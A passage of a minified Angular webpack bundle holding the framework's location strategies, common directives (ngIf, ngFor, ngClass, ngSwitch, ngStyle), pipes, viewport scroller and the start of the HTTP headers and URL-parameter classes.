pathname(W){this._location.pathname=W}pushState(W,Ve,ht){C()?this._history.pushState(W,Ve,ht):this._location.hash=ht}replaceState(W,Ve,ht){C()?this._history.replaceState(W,Ve,ht):this._location.hash=ht}forward(){this._history.forward()}back(){this._history.back()}historyGo(W=0){this._history.go(W)}getState(){return this._history.state}}return N.\\u0275fac=function(W){return new(W||N)(n.LFG(f))},N.\\u0275prov=n.Yz7({token:N,factory:function(){return function z(){return new g((0,n.LFG)(f))}()},providedIn:"platform"}),N})();function C(){return!!window.history.pushState}function H(N,he){if(0==N.length)return he;if(0==he.length)return N;let W=0;return N.endsWith("/")&&W++,he.startsWith("/")&&W++,2==W?N+he.substring(1):1==W?N+he:N+"/"+he}function j(N){const he=N.match(/#|\\?|$/),W=he&&he.index||N.length;return N.slice(0,W-("/"===N[W-1]?1:0))+N.slice(W)}function U(N){return N&&"?"!==N[0]?"?"+N:N}let G=(()=>{class N{historyGo(W){throw new Error("Not implemented")}}return N.\\u0275fac=function(W){return new(W||N)},N.\\u0275prov=n.Yz7({token:N,factory:function(){return(0,n.f3M)(oe)},providedIn:"root"}),N})();const Q=new n.OlP("appBaseHref");let oe=(()=>{class N extends G{constructor(W,Ve){super(),this._platformLocation=W,this._removeListenerFns=[],this._baseHref=Ve??this._platformLocation.getBaseHrefFromDOM()??(0,n.f3M)(f).location?.origin??""}ngOnDestroy(){for(;this._removeListenerFns.length;)this._removeListenerFns.pop()()}onPopState(W){this._removeListenerFns.push(this._platformLocation.onPopState(W),this._platformLocation.onHashChange(W))}getBaseHref(){return this._baseHref}prepareExternalUrl(W){return H(this._baseHref,W)}path(W=!1){const Ve=this._platformLocation.pathname+U(this._platformLocation.search),ht=this._platformLocation.hash;return ht&&W?`${Ve}${ht}`:Ve}pushState(W,Ve,ht,Ht){const Yt=this.prepareExternalUrl(ht+U(Ht));this._platformLocation.pushState(W,Ve,Yt)}replaceState(W,Ve,ht,Ht){const Yt=this.prepareExternalUrl(ht+U(Ht));this._platformLocation.replaceState(W,Ve,Yt)}forward(){this._platformLocation.forward()}back(){this._platformLocation.back()}getState(){return this._platformLocation.getState()}historyGo(W=0){this._platformLocation.historyGo?.(W)}}return N.\\u0275fac=function(W){return new(W||N)(n.LFG(E),n.LFG(Q,8))},N.\\u0275prov=n.Yz7({token:N,factory:N.\\u0275fac,providedIn:"root"}),N})(),Ce=(()=>{class N extends G{constructor(W,Ve){super(),this._platformLocation=W,this._baseHref="",this._removeListenerFns=[],null!=Ve&&(this._baseHref=Ve)}ngOnDestroy(){for(;this._removeListenerFns.length;)this._removeListenerFns.pop()()}onPopState(W){this._removeListenerFns.push(this._platformLocation.onPopState(W),this._platformLocation.onHashChange(W))}getBaseHref(){return this._baseHref}path(W=!1){let Ve=this._platformLocation.hash;return null==Ve&&(Ve="#"),Ve.length>0?Ve.substring(1):Ve}prepareExternalUrl(W){const Ve=H(this._baseHref,W);return Ve.length>0?"#"+Ve:Ve}pushState(W,Ve,ht,Ht){let Yt=this.prepareExternalUrl(ht+U(Ht));0==Yt.length&&(Yt=this._platformLocation.pathname),this._platformLocation.pushState(W,Ve,Yt)}replaceState(W,Ve,ht,Ht){let Yt=this.prepareExternalUrl(ht+U(Ht));0==Yt.length&&(Yt=this._platformLocation.pathname),this._platformLocation.replaceState(W,Ve,Yt)}forward(){this._platformLocation.forward()}back(){this._platformLocation.back()}getState(){return this._platformLocation.getState()}historyGo(W=0){this._platformLocation.historyGo?.(W)}}return N.\\u0275fac=function(W){return new(W||N)(n.LFG(E),n.LFG(Q,8))},N.\\u0275prov=n.Yz7({token:N,factory:N.\\u0275fac}),N})(),k=(()=>{class N{constructor(W){this._subject=new n.vpe,this._urlChangeListeners=[],this._urlChangeSubscription=null,this._locationStrategy=W;const Ve=this._locationStrategy.getBaseHref();this._basePath=function q(N){if(new RegExp("^(https?:)?//").test(N)){const[,W]=N.split(/\\/\\/[^\\/]+/);return W}return N}(j(ee(Ve))),this._locationStrategy.onPopState(ht=>{this._subject.emit({url:this.path(!0),pop:!0,state:ht.state,type:ht.type})})}ngOnDestroy(){this._urlChangeSubscription?.unsubscribe(),this._urlChangeListeners=[]}path(W=!1){return this.normalize(this._locationStrategy.path(W))}getState(){return this._locationStrategy.getState()}isCurrentPathEqualTo(W,Ve=""){return this.path()==this.normalize(W+U(Ve))}normalize(W){return N.stripTrailingSlash(function se(N,he){if(!N||!he.startsWith(N))return he;const W=he.substring(N.length);return""===W||["/",";","?","#"].includes(W[0])?W:he}(this._basePath,ee(W)))}prepareExternalUrl(W){return W&&"/"!==W[0]&&(W="/"+W),this._locationStrategy.prepareExternalUrl(W)}go(W,Ve="",ht=null){this._locationStrategy.pushState(ht,"",W,Ve),this._notifyUrlChangeListeners(this.prepareExternalUrl(W+U(Ve)),ht)}replaceState(W,Ve="",ht=null){this._locationStrategy.replaceState(ht,"",W,Ve),this._notifyUrlChangeListeners(this.prepareExternalUrl(W+U(Ve)),ht)}forward(){this._locationStrategy.forward()}back(){this._locationStrategy.back()}historyGo(W=0){this._locationStrategy.historyGo?.(W)}onUrlChange(W){return this._urlChangeListeners.push(W),this._urlChangeSubscription||(this._urlChangeSubscription=this.subscribe(Ve=>{this._notifyUrlChangeListeners(Ve.url,Ve.state)})),()=>{const Ve=this._urlChangeListeners.indexOf(W);this._urlChangeListeners.splice(Ve,1),0===this._urlChangeListeners.length&&(this._urlChangeSubscription?.unsubscribe(),this._urlChangeSubscription=null)}}_notifyUrlChangeListeners(W="",Ve){this._urlChangeListeners.forEach(ht=>ht(W,Ve))}subscribe(W,Ve,ht){return this._subject.subscribe({next:W,error:Ve,complete:ht})}}return N.normalizeQueryParams=U,N.joinWithSlash=H,N.stripTrailingSlash=j,N.\\u0275fac=function(W){return new(W||N)(n.LFG(G))},N.\\u0275prov=n.Yz7({token:N,factory:function(){return function K(){return new k((0,n.LFG)(G))}()},providedIn:"root"}),N})();function ee(N){return N.replace(/\\/index.html$/,"")}var ce=(()=>((ce=ce||{})[ce.Decimal=0]="Decimal",ce[ce.Percent=1]="Percent",ce[ce.Currency=2]="Currency",ce[ce.Scientific=3]="Scientific",ce))(),Qe=(()=>((Qe=Qe||{})[Qe.Decimal=0]="Decimal",Qe[Qe.Group=1]="Group",Qe[Qe.List=2]="List",Qe[Qe.PercentSign=3]="PercentSign",Qe[Qe.PlusSign=4]="PlusSign",Qe[Qe.MinusSign=5]="MinusSign",Qe[Qe.Exponential=6]="Exponential",Qe[Qe.SuperscriptingExponent=7]="SuperscriptingExponent",Qe[Qe.PerMille=8]="PerMille",Qe[Qe.Infinity=9]="Infinity",Qe[Qe.NaN=10]="NaN",Qe[Qe.TimeSeparator=11]="TimeSeparator",Qe[Qe.CurrencyDecimal=12]="CurrencyDecimal",Qe[Qe.CurrencyGroup=13]="CurrencyGroup",Qe))();function Be(N,he){const W=(0,n.cg1)(N),Ve=W[n.wAp.NumberSymbols][he];if(typeof Ve>"u"){if(he===Qe.CurrencyDecimal)return W[n.wAp.NumberSymbols][Qe.Decimal];if(he===Qe.CurrencyGroup)return W[n.wAp.NumberSymbols][Qe.Group]}return Ve}const ot=/^(\\d+)?\\.((\\d+)(-(\\d+))?)?$/,Ne=22,ut=".",Rt="0",Zt=";",a1=",",_1="#";function h(N){const he=parseInt(N);if(isNaN(he))throw new Error("Invalid integer literal when parsing "+N);return he}function p1(N,he){he=encodeURIComponent(he);for(const W of N.split(";")){const Ve=W.indexOf("="),[ht,Ht]=-1==Ve?[W,""]:[W.slice(0,Ve),W.slice(Ve+1)];if(ht.trim()===he)return decodeURIComponent(Ht)}return null}const w1=/\\s+/,Qt=[];let h1=(()=>{class N{constructor(W,Ve,ht,Ht){this._iterableDiffers=W,this._keyValueDiffers=Ve,this._ngEl=ht,this._renderer=Ht,this.initialClasses=Qt,this.stateMap=new Map}set klass(W){this.initialClasses=null!=W?W.trim().split(w1):Qt}set ngClass(W){this.rawClass="string"==typeof W?W.trim().split(w1):W}ngDoCheck(){for(const Ve of this.initialClasses)this._updateState(Ve,!0);const W=this.rawClass;if(Array.isArray(W)||W instanceof Set)for(const Ve of W)this._updateState(Ve,!0);else if(null!=W)for(const Ve of Object.keys(W))this._updateState(Ve,Boolean(W[Ve]));this._applyStateDiff()}_updateState(W,Ve){const ht=this.stateMap.get(W);void 0!==ht?(ht.enabled!==Ve&&(ht.changed=!0,ht.enabled=Ve),ht.touched=!0):this.stateMap.set(W,{enabled:Ve,changed:!0,touched:!0})}_applyStateDiff(){for(const W of this.stateMap){const Ve=W[0],ht=W[1];ht.changed?(this._toggleClass(Ve,ht.enabled),ht.changed=!1):ht.touched||(ht.enabled&&this._toggleClass(Ve,!1),this.stateMap.delete(Ve)),ht.touched=!1}}_toggleClass(W,Ve){(W=W.trim()).length>0&&W.split(w1).forEach(ht=>{Ve?this._renderer.addClass(this._ngEl.nativeElement,ht):this._renderer.removeClass(this._ngEl.nativeElement,ht)})}}return N.\\u0275fac=function(W){return new(W||N)(n.Y36(n.ZZ4),n.Y36(n.aQg),n.Y36(n.SBq),n.Y36(n.Qsj))},N.\\u0275dir=n.lG2({type:N,selectors:[["","ngClass",""]],inputs:{klass:["class","klass"],ngClass:"ngClass"},standalone:!0}),N})();class V1{constructor(he,W,Ve,ht){this.$implicit=he,this.ngForOf=W,this.index=Ve,this.count=ht}get first(){return 0===this.index}get last(){return this.index===this.count-1}get even(){return this.index%2==0}get odd(){return!this.even}}let vn=(()=>{class N{set ngForOf(W){this._ngForOf=W,this._ngForOfDirty=!0}set ngForTrackBy(W){this._trackByFn=W}get ngForTrackBy(){return this._trackByFn}constructor(W,Ve,ht){this._viewContainer=W,this._template=Ve,this._differs=ht,this._ngForOf=null,this._ngForOfDirty=!0,this._differ=null}set ngForTemplate(W){W&&(this._template=W)}ngDoCheck(){if(this._ngForOfDirty){this._ngForOfDirty=!1;const W=this._ngForOf;!this._differ&&W&&(this._differ=this._differs.find(W).create(this.ngForTrackBy))}if(this._differ){const W=this._differ.diff(this._ngForOf);W&&this._applyChanges(W)}}_applyChanges(W){const Ve=this._viewContainer;W.forEachOperation((ht,Ht,Yt)=>{if(null==ht.previousIndex)Ve.createEmbeddedView(this._template,new V1(ht.item,this._ngForOf,-1,-1),null===Yt?void 0:Yt);else if(null==Yt)Ve.remove(null===Ht?void 0:Ht);else if(null!==Ht){const s1=Ve.get(Ht);Ve.move(s1,Yt),E1(s1,ht)}});for(let ht=0,Ht=Ve.length;ht<Ht;ht++){const s1=Ve.get(ht).context;s1.index=ht,s1.count=Ht,s1.ngForOf=this._ngForOf}W.forEachIdentityChange(ht=>{E1(Ve.get(ht.currentIndex),ht)})}static ngTemplateContextGuard(W,Ve){return!0}}return N.\\u0275fac=function(W){return new(W||N)(n.Y36(n.s_b),n.Y36(n.Rgc),n.Y36(n.ZZ4))},N.\\u0275dir=n.lG2({type:N,selectors:[["","ngFor","","ngForOf",""]],inputs:{ngForOf:"ngForOf",ngForTrackBy:"ngForTrackBy",ngForTemplate:"ngForTemplate"},standalone:!0}),N})();function E1(N,he){N.context.$implicit=he.item}let Gn=(()=>{class N{constructor(W,Ve){this._viewContainer=W,this._context=new D1,this._thenTemplateRef=null,this._elseTemplateRef=null,this._thenViewRef=null,this._elseViewRef=null,this._thenTemplateRef=Ve}set ngIf(W){this._context.$implicit=this._context.ngIf=W,this._updateView()}set ngIfThen(W){ci("ngIfThen",W),this._thenTemplateRef=W,this._thenViewRef=null,this._updateView()}set ngIfElse(W){ci("ngIfElse",W),this._elseTemplateRef=W,this._elseViewRef=null,this._updateView()}_updateView(){this._context.$implicit?this._thenViewRef||(this._viewContainer.clear(),this._elseViewRef=null,this._thenTemplateRef&&(this._thenViewRef=this._viewContainer.createEmbeddedView(this._thenTemplateRef,this._context))):this._elseViewRef||(this._viewContainer.clear(),this._thenViewRef=null,this._elseTemplateRef&&(this._elseViewRef=this._viewContainer.createEmbeddedView(this._elseTemplateRef,this._context)))}static ngTemplateContextGuard(W,Ve){return!0}}return N.\\u0275fac=function(W){return new(W||N)(n.Y36(n.s_b),n.Y36(n.Rgc))},N.\\u0275dir=n.lG2({type:N,selectors:[["","ngIf",""]],inputs:{ngIf:"ngIf",ngIfThen:"ngIfThen",ngIfElse:"ngIfElse"},standalone:!0}),N})();class D1{constructor(){this.$implicit=null,this.ngIf=null}}function ci(N,he){if(he&&!he.createEmbeddedView)throw new Error(`${N} must be a TemplateRef, but received \'${(0,n.AaK)(he)}\'.`)}class fn{constructor(he,W){this._viewContainerRef=he,this._templateRef=W,this._created=!1}create(){this._created=!0,this._viewContainerRef.createEmbeddedView(this._templateRef)}destroy(){this._created=!1,this._viewContainerRef.clear()}enforceState(he){he&&!this._created?this.create():!he&&this._created&&this.destroy()}}let Rn=(()=>{class N{constructor(){this._defaultViews=[],this._defaultUsed=!1,this._caseCount=0,this._lastCaseCheckIndex=0,this._lastCasesMatched=!1}set ngSwitch(W){this._ngSwitch=W,0===this._caseCount&&this._updateDefaultCases(!0)}_addCase(){return this._caseCount++}_addDefault(W){this._defaultViews.push(W)}_matchCase(W){const Ve=W==this._ngSwitch;return this._lastCasesMatched=this._lastCasesMatched||Ve,this._lastCaseCheckIndex++,this._lastCaseCheckIndex===this._caseCount&&(this._updateDefaultCases(!this._lastCasesMatched),this._lastCaseCheckIndex=0,this._lastCasesMatched=!1),Ve}_updateDefaultCases(W){if(this._defaultViews.length>0&&W!==this._defaultUsed){this._defaultUsed=W;for(const Ve of this._defaultViews)Ve.enforceState(W)}}}return N.\\u0275fac=function(W){return new(W||N)},N.\\u0275dir=n.lG2({type:N,selectors:[["","ngSwitch",""]],inputs:{ngSwitch:"ngSwitch"},standalone:!0}),N})(),cn=(()=>{class N{constructor(W,Ve,ht){this.ngSwitch=ht,ht._addCase(),this._view=new fn(W,Ve)}ngDoCheck(){this._view.enforceState(this.ngSwitch._matchCase(this.ngSwitchCase))}}return N.\\u0275fac=function(W){return new(W||N)(n.Y36(n.s_b),n.Y36(n.Rgc),n.Y36(Rn,9))},N.\\u0275dir=n.lG2({type:N,selectors:[["","ngSwitchCase",""]],inputs:{ngSwitchCase:"ngSwitchCase"},standalone:!0}),N})(),X1=(()=>{class N{constructor(W,Ve,ht){ht._addDefault(new fn(W,Ve))}}return N.\\u0275fac=function(W){return new(W||N)(n.Y36(n.s_b),n.Y36(n.Rgc),n.Y36(Rn,9))},N.\\u0275dir=n.lG2({type:N,selectors:[["","ngSwitchDefault",""]],standalone:!0}),N})(),$n=(()=>{class N{constructor(W,Ve,ht){this._ngEl=W,this._differs=Ve,this._renderer=ht,this._ngStyle=null,this._differ=null}set ngStyle(W){this._ngStyle=W,!this._differ&&W&&(this._differ=this._differs.find(W).create())}ngDoCheck(){if(this._differ){const W=this._differ.diff(this._ngStyle);W&&this._applyChanges(W)}}_setStyle(W,Ve){const[ht,Ht]=W.split("."),Yt=-1===ht.indexOf("-")?void 0:n.JOm.DashCase;null!=Ve?this._renderer.setStyle(this._ngEl.nativeElement,ht,Ht?`${Ve}${Ht}`:Ve,Yt):this._renderer.removeStyle(this._ngEl.nativeElement,ht,Yt)}_applyChanges(W){W.forEachRemovedItem(Ve=>this._setStyle(Ve.key,null)),W.forEachAddedItem(Ve=>this._setStyle(Ve.key,Ve.currentValue)),W.forEachChangedItem(Ve=>this._setStyle(Ve.key,Ve.currentValue))}}return N.\\u0275fac=function(W){return new(W||N)(n.Y36(n.SBq),n.Y36(n.aQg),n.Y36(n.Qsj))},N.\\u0275dir=n.lG2({type:N,selectors:[["","ngStyle",""]],inputs:{ngStyle:"ngStyle"},standalone:!0}),N})();function Cn(N,he){return new n.vHH(2100,!1)}class Mn{createSubscription(he,W){return he.subscribe({next:W,error:Ve=>{throw Ve}})}dispose(he){he.unsubscribe()}}class di{createSubscription(he,W){return he.then(W,Ve=>{throw Ve})}dispose(he){}}const ri=new di,_i=new Mn;let Nn=(()=>{class N{constructor(W){this._latestValue=null,this._subscription=null,this._obj=null,this._strategy=null,this._ref=W}ngOnDestroy(){this._subscription&&this._dispose(),this._ref=null}transform(W){return this._obj?W!==this._obj?(this._dispose(),this.transform(W)):this._latestValue:(W&&this._subscribe(W),this._latestValue)}_subscribe(W){this._obj=W,this._strategy=this._selectStrategy(W),this._subscription=this._strategy.createSubscription(W,Ve=>this._updateLatestValue(W,Ve))}_selectStrategy(W){if((0,n.QGY)(W))return ri;if((0,n.F4k)(W))return _i;throw Cn()}_dispose(){this._strategy.dispose(this._subscription),this._latestValue=null,this._subscription=null,this._obj=null}_updateLatestValue(W,Ve){W===this._obj&&(this._latestValue=Ve,this._ref.markForCheck())}}return N.\\u0275fac=function(W){return new(W||N)(n.Y36(n.sBO,16))},N.\\u0275pipe=n.Yjl({name:"async",type:N,pure:!1,standalone:!0}),N})(),ln=(()=>{class N{transform(W){if(null==W)return null;if("string"!=typeof W)throw Cn();return W.toLowerCase()}}return N.\\u0275fac=function(W){return new(W||N)},N.\\u0275pipe=n.Yjl({name:"lowercase",type:N,pure:!0,standalone:!0}),N})(),h2=(()=>{class N{constructor(W){this._locale=W}transform(W,Ve,ht){if(!function Zn(N){return!(null==N||""===N||N!=N)}(W))return null;ht=ht||this._locale;try{return function Ge(N,he,W){return function nn(N,he,W,Ve,ht,Ht,Yt=!1){let s1="",K1=!1;if(isFinite(N)){let g1=function O(N){let Ve,ht,Ht,Yt,s1,he=Math.abs(N)+"",W=0;for((ht=he.indexOf(ut))>-1&&(he=he.replace(ut,"")),(Ht=he.search(/e/i))>0?(ht<0&&(ht=Ht),ht+=+he.slice(Ht+1),he=he.substring(0,Ht)):ht<0&&(ht=he.length),Ht=0;he.charAt(Ht)===Rt;Ht++);if(Ht===(s1=he.length))Ve=[0],ht=1;else{for(s1--;he.charAt(s1)===Rt;)s1--;for(ht-=Ht,Ve=[],Yt=0;Ht<=s1;Ht++,Yt++)Ve[Yt]=Number(he.charAt(Ht))}return ht>Ne&&(Ve=Ve.splice(0,Ne-1),W=ht-1,ht=1),{digits:Ve,exponent:W,integerLen:ht}}(N);Yt&&(g1=function Me(N){if(0===N.digits[0])return N;const he=N.digits.length-N.integerLen;return N.exponent?N.exponent+=2:(0===he?N.digits.push(0,0):1===he&&N.digits.push(0),N.integerLen+=2),N}(g1));let B1=he.minInt,I1=he.minFrac,Ln=he.maxFrac;if(Ht){const mi=Ht.match(ot);if(null===mi)throw new Error(`${Ht} is not a valid digit info`);const Ii=mi[1],Ai=mi[3],ji=mi[5];null!=Ii&&(B1=h(Ii)),null!=Ai&&(I1=h(Ai)),null!=ji?Ln=h(ji):null!=Ai&&I1>Ln&&(Ln=I1)}!function de(N,he,W){if(he>W)throw new Error(`The minimum number of digits after fraction (${he}) is higher than the maximum (${W}).`);let Ve=N.digits,ht=Ve.length-N.integerLen;const Ht=Math.min(Math.max(he,ht),W);let Yt=Ht+N.integerLen,s1=Ve[Yt];if(Yt>0){Ve.splice(Math.max(N.integerLen,Yt));for(let I1=Yt;I1<Ve.length;I1++)Ve[I1]=0}else{ht=Math.max(0,ht),N.integerLen=1,Ve.length=Math.max(1,Yt=Ht+1),Ve[0]=0;for(let I1=1;I1<Yt;I1++)Ve[I1]=0}if(s1>=5)if(Yt-1<0){for(let I1=0;I1>Yt;I1--)Ve.unshift(0),N.integerLen++;Ve.unshift(1),N.integerLen++}else Ve[Yt-1]++;for(;ht<Math.max(0,Ht);ht++)Ve.push(0);let K1=0!==Ht;const g1=he+N.integerLen,B1=Ve.reduceRight(function(I1,Ln,rn,kn){return kn[rn]=(Ln+=I1)<10?Ln:Ln-10,K1&&(0===kn[rn]&&rn>=g1?kn.pop():K1=!1),Ln>=10?1:0},0);B1&&(Ve.unshift(B1),N.integerLen++)}(g1,I1,Ln);let rn=g1.digits,kn=g1.integerLen;const Di=g1.exponent;let wi=[];for(K1=rn.every(mi=>!mi);kn<B1;kn++)rn.unshift(0);for(;kn<0;kn++)rn.unshift(0);kn>0?wi=rn.splice(kn,rn.length):(wi=rn,rn=[0]);const t2=[];for(rn.length>=he.lgSize&&t2.unshift(rn.splice(-he.lgSize,rn.length).join(""));rn.length>he.gSize;)t2.unshift(rn.splice(-he.gSize,rn.length).join(""));rn.length&&t2.unshift(rn.join("")),s1=t2.join(Be(W,Ve)),wi.length&&(s1+=Be(W,ht)+wi.join("")),Di&&(s1+=Be(W,Qe.Exponential)+"+"+Di)}else s1=Be(W,Qe.Infinity);return s1=N<0&&!K1?he.negPre+s1+he.negSuf:he.posPre+s1+he.posSuf,s1}(N,function vt(N,he="-"){const W={minInt:1,minFrac:0,maxFrac:0,posPre:"",posSuf:"",negPre:"",negSuf:"",gSize:0,lgSize:0},Ve=N.split(Zt),ht=Ve[0],Ht=Ve[1],Yt=-1!==ht.indexOf(ut)?ht.split(ut):[ht.substring(0,ht.lastIndexOf(Rt)+1),ht.substring(ht.lastIndexOf(Rt)+1)],s1=Yt[0],K1=Yt[1]||"";W.posPre=s1.substring(0,s1.indexOf(_1));for(let B1=0;B1<K1.length;B1++){const I1=K1.charAt(B1);I1===Rt?W.minFrac=W.maxFrac=B1+1:I1===_1?W.maxFrac=B1+1:W.posSuf+=I1}const g1=s1.split(a1);if(W.gSize=g1[1]?g1[1].length:0,W.lgSize=g1[2]||g1[1]?(g1[2]||g1[1]).length:0,Ht){const B1=ht.length-W.posPre.length-W.posSuf.length,I1=Ht.indexOf(_1);W.negPre=Ht.substring(0,I1).replace(/\'/g,""),W.negSuf=Ht.slice(I1+B1).replace(/\'/g,"")}else W.negPre=he+W.posPre,W.negSuf=W.posSuf;return W}(function pe(N,he){return(0,n.cg1)(N)[n.wAp.NumberFormats][he]}(he,ce.Decimal),Be(he,Qe.MinusSign)),he,Qe.Group,Qe.Decimal,W)}(function Hi(N){if("string"==typeof N&&!isNaN(Number(N)-parseFloat(N)))return Number(N);if("number"!=typeof N)throw new Error(`${N} is not a number`);return N}(W),ht,Ve)}catch(Ht){throw Cn()}}}return N.\\u0275fac=function(W){return new(W||N)(n.Y36(n.soG,16))},N.\\u0275pipe=n.Yjl({name:"number",type:N,pure:!0,standalone:!0}),N})();let p2=(()=>{class N{}return N.\\u0275fac=function(W){return new(W||N)},N.\\u0275mod=n.oAB({type:N}),N.\\u0275inj=n.cJS({}),N})();const x2="browser",yi="server";function bi(N){return N===x2}function mn(N){return N===yi}let Ui=(()=>{class N{}return N.\\u0275prov=(0,n.Yz7)({token:N,providedIn:"root",factory:()=>new o2((0,n.LFG)(f),window)}),N})();class o2{constructor(he,W){this.document=he,this.window=W,this.offset=()=>[0,0]}setOffset(he){this.offset=Array.isArray(he)?()=>he:he}getScrollPosition(){return this.supportsScrolling()?[this.window.pageXOffset,this.window.pageYOffset]:[0,0]}scrollToPosition(he){this.supportsScrolling()&&this.window.scrollTo(he[0],he[1])}scrollToAnchor(he){if(!this.supportsScrolling())return;const W=function ki(N,he){const W=N.getElementById(he)||N.getElementsByName(he)[0];if(W)return W;if("function"==typeof N.createTreeWalker&&N.body&&(N.body.createShadowRoot||N.body.attachShadow)){const Ve=N.createTreeWalker(N.body,NodeFilter.SHOW_ELEMENT);let ht=Ve.currentNode;for(;ht;){const Ht=ht.shadowRoot;if(Ht){const Yt=Ht.getElementById(he)||Ht.querySelector(`[name="${he}"]`);if(Yt)return Yt}ht=Ve.nextNode()}}return null}(this.document,he);W&&(this.scrollToElement(W),W.focus())}setHistoryScrollRestoration(he){if(this.supportScrollRestoration()){const W=this.window.history;W&&W.scrollRestoration&&(W.scrollRestoration=he)}}scrollToElement(he){const W=he.getBoundingClientRect(),Ve=W.left+this.window.pageXOffset,ht=W.top+this.window.pageYOffset,Ht=this.offset();this.window.scrollTo(Ve-Ht[0],ht-Ht[1])}supportScrollRestoration(){try{if(!this.supportsScrolling())return!1;const he=Li(this.window.history)||Li(Object.getPrototypeOf(this.window.history));return!(!he||!he.writable&&!he.set)}catch{return!1}}supportsScrolling(){try{return!!this.window&&!!this.window.scrollTo&&"pageXOffset"in this.window}catch{return!1}}}function Li(N){return Object.getOwnPropertyDescriptor(N,"scrollRestoration")}class ti{}},529:(At,ae,d)=>{"use strict";d.d(ae,{JF:()=>Pe,TP:()=>ze,eN:()=>qe});var n=d(6895),a=d(4650),s=d(1086),u=d(6498),c=d(1406),f=d(2198),E=d(4850);class _{}class S{}class g{constructor(J){this.normalizedNames=new Map,this.lazyUpdate=null,J?this.lazyInit="string"==typeof J?()=>{this.headers=new Map,J.split("\\n").forEach(Ae=>{const mt=Ae.indexOf(":");if(mt>0){const Ct=Ae.slice(0,mt),jt=Ct.toLowerCase(),pt=Ae.slice(mt+1).trim();this.maybeSetNormalizedName(Ct,jt),this.headers.has(jt)?this.headers.get(jt).push(pt):this.headers.set(jt,[pt])}})}:()=>{this.headers=new Map,Object.entries(J).forEach(([Ae,mt])=>{let Ct;if(Ct="string"==typeof mt?[mt]:"number"==typeof mt?[mt.toString()]:mt.map(jt=>jt.toString()),Ct.length>0){const jt=Ae.toLowerCase();this.headers.set(jt,Ct),this.maybeSetNormalizedName(Ae,jt)}})}:this.headers=new Map}has(J){return this.init(),this.headers.has(J.toLowerCase())}get(J){this.init();const Ae=this.headers.get(J.toLowerCase());return Ae&&Ae.length>0?Ae[0]:null}keys(){return this.init(),Array.from(this.normalizedNames.values())}getAll(J){return this.init(),this.headers.get(J.toLowerCase())||null}append(J,Ae){return this.clone({name:J,value:Ae,op:"a"})}set(J,Ae){return this.clone({name:J,value:Ae,op:"s"})}delete(J,Ae){return this.clone({name:J,value:Ae,op:"d"})}maybeSetNormalizedName(J,Ae){this.normalizedNames.has(Ae)||this.normalizedNames.set(Ae,J)}init(){this.lazyInit&&(this.lazyInit instanceof g?this.copyFrom(this.lazyInit):this.lazyInit(),this.lazyInit=null,this.lazyUpdate&&(this.lazyUpdate.forEach(J=>this.applyUpdate(J)),this.lazyUpdate=null))}copyFrom(J){J.init(),Array.from(J.headers.keys()).forEach(Ae=>{this.headers.set(Ae,J.headers.get(Ae)),this.normalizedNames.set(Ae,J.normalizedNames.get(Ae))})}clone(J){const Ae=new g;return Ae.lazyInit=this.lazyInit&&this.lazyInit instanceof g?this.lazyInit:this,Ae.lazyUpdate=(this.lazyUpdate||[]).concat([J]),Ae}applyUpdate(J){const Ae=J.name.toLowerCase();switch(J.op){case"a":case"s":let mt=J.value;if("string"==typeof mt&&(mt=[mt]),0===mt.length)return;this.maybeSetNormalizedName(J.name,Ae);const Ct=("a"===J.op?this.headers.get(Ae):void 0)||[];Ct.push(...mt),this.headers.set(Ae,Ct);break;case"d":const jt=J.value;if(jt){let pt=this.headers.get(Ae);if(!pt)return;pt=pt.filter(nt=>-1===jt.indexOf(nt)),0===pt.length?(this.headers.delete(Ae),this.normalizedNames.delete(Ae)):this.headers.set(Ae,pt)}else this.headers.delete(Ae),this.normalizedNames.delete(Ae)}}forEach(J){this.init(),Array.from(this.normalizedNames.keys()).forEach(Ae=>J(this.normalizedNames.get(Ae),this.headers.get(Ae)))}}class z{encodeKey(J){return G(J)}encodeValue(J){return G(J)}decodeKey(J){return decodeURIComponent(J)}decodeValue(J){return decodeURIComponent(J)}}const j=/%(\\d[a-f0-9])/gi,U={40:"@","3A":":",24:"$","2C":",","3B":";","3D":"=","3F":"?","2F":"/"};function G(xe){return encodeURIComponent(xe).replace(j,(J,Ae)=>U[Ae]??J)}function Q(xe){return`${xe}`}class oe{constructor(J={}){if(this.updates=null,this.cloneFrom=null,this.encoder=J.encoder||new z,J.fromString){if(J.fromObject)throw new Error("Cannot specify both fromString and fromObject.");this.map=function H(xe,J){const Ae=new Map;return xe.length>0&&xe.replace(/^\\?/,"").split("&").forEach(Ct=>{const jt=Ct.indexOf("="),[pt,nt]=-1==jt?[J.decodeKey(Ct),""]:[J.decodeKey(Ct.slice(0,jt)),J.decodeValue(Ct.slice(jt+1))],fe=Ae.get(pt)||[];fe.push(nt),Ae.set(pt,fe)}),Ae}(J.fromString,this.encoder)}else J.fromObject?(this.map=new Map,Object.keys(J.fromObject).forEach(Ae=>{const mt=J.fromObject[Ae],Ct=Array.isArray(mt)?mt.map(Q):[Q(mt)];this.map.set(Ae,Ct)})):this.map=null}has(J){return this.init(),this.map.has(J)}get(J){this.init();const Ae=this.map.get(J);return Ae?Ae[0]:null}getAll(J){return this.init(),this.map.get(J)||null}keys(){return this.init(),Array.from(this.map.keys())}append(J,Ae){return this.clone({param:J,value:Ae,op:"a"})}appendAll(J){const Ae=[];return Object.keys(J).forEach(mt=>{const Ct=J[mt];Array.isArray(Ct)?Ct.forEach(jt=>{Ae.push({param:mt,value:jt,op:"a"})}):Ae.push({param:mt,value:Ct,op:"a"})}),this.clone(Ae)}set(J,Ae){return this.clone({param:J,value:Ae,op:"s"})}delete(J,Ae){return this.clone({param:J,value:Ae,op:"d"})}toString(){return this.init(),this.keys().map(J=>{const Ae=this.encoder.encodeKey(J);return this.map.get(J).map(mt=>Ae+"="+this.encoder.encodeValue(mt)).join("&")}).filter(J=>""!==J).join("&")}clone(J){const Ae=new oe({encoder:this.encoder});return Ae.cloneFrom=this.cloneFrom||this,Ae.updates=(this.updates||[]).concat(J),Ae}init(){null===this.map&&(this.map=new Map),null!==this.cloneFrom&&(this.cloneFrom.init(),this.cloneFrom.keys().forEach(J=>this.map.set(J,this.cloneFrom.map.get(J))),this.updates.forEach(J=>{switch(J.op){case"a":case"s":const Ae=("a"===J.op?this.map.get(J.param):void 0)||[];Ae.push(Q(J.value)),this.map.set(J.param,Ae);break;case"d":if(void 0===J.value){this.map.delete(J.param);break}{let mt=this.map.get(J.param)||[];const Ct=mt.indexOf(Q(J.value));-1!==Ct&&mt.splice(Ct,1),mt.length>0?this.map.set(J.param,mt):this.map.delete(J.param)}}}),this.cloneFrom=this.updates=null)}}class 